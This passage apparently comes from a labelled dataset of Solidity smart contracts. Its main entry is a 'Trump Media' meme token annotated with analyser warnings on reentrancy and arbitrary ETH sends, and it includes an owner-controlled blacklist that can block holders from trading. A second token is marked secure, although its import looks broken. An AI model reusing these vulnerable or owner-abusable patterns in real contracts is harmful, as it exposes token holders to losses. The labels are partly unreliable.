change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7618c7f): DJT._preventSwapBefore should be constant \n\t// Recommendation for 7618c7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Media\";\n\n string private constant _symbol = unicode\"DJT\";\n\n uint256 public _maxTxAmount = 50000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 50000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43a9e3d): DJT._taxSwapThreshold should be constant \n\t// Recommendation for 43a9e3d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d9f7ba): DJT._maxTaxSwap should be constant \n\t// Recommendation for 3d9f7ba: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _TaxWallet = payable(0xD8d5db9a3A257f89F64E2739cf082E7629b61083);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_TaxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function getTrumpWallet() public view returns (address) {\n return _TaxWallet;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3d25659): DJT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3d25659: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 029aee4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 029aee4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16d82ee): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16d82ee: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 029aee4\n\t\t// reentrancy-benign | ID: 16d82ee\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 029aee4\n\t\t// reentrancy-benign | ID: 16d82ee\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8aa0b0c): DJT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8aa0b0c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 16d82ee\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 029aee4\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: edeedad): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for edeedad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 58b2199): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 58b2199: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: edeedad\n\t\t\t\t// reentrancy-eth | ID: 58b2199\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: edeedad\n\t\t\t\t\t// reentrancy-eth | ID: 58b2199\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 58b2199\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 58b2199\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 58b2199\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: edeedad\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 58b2199\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 58b2199\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: edeedad\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: edeedad\n\t\t// reentrancy-events | ID: 029aee4\n\t\t// reentrancy-benign | ID: 16d82ee\n\t\t// reentrancy-eth | ID: 58b2199\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function updateTaxWallet(address payable newTaxWallet) external onlyOwner {\n require(\n newTaxWallet != address(0),\n \"New tax wallet is the zero address\"\n );\n\n _TaxWallet = newTaxWallet;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 89170af): DJT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _TaxWallet.transfer(amount)\n\t// Recommendation for 89170af: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: edeedad\n\t\t// reentrancy-events | ID: 029aee4\n\t\t// reentrancy-eth | ID: 58b2199\n\t\t// arbitrary-send-eth | ID: 89170af\n _TaxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 53068fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 53068fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9b171f1): DJT.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9b171f1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 08e8501): DJT.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 08e8501: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 585b368): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 585b368: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 53068fb\n\t\t// reentrancy-eth | ID: 585b368\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 53068fb\n\t\t// unused-return | ID: 9b171f1\n\t\t// reentrancy-eth | ID: 585b368\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 53068fb\n\t\t// unused-return | ID: 08e8501\n\t\t// reentrancy-eth | ID: 585b368\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 53068fb\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 585b368\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _TaxWallet);\n\n require(_newFee >= _finalBuyTax && _newFee >= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _TaxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_3968.sol",
"secure": 0,
"size_bytes": 17142
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DCPayPresaleToken is ERC20 {\n constructor() ERC20(\"DCPay\", \"DCP\") {\n _mint(msg.sender, 900_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3969.sol",
"secure": 1,
"size_bytes": 280
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.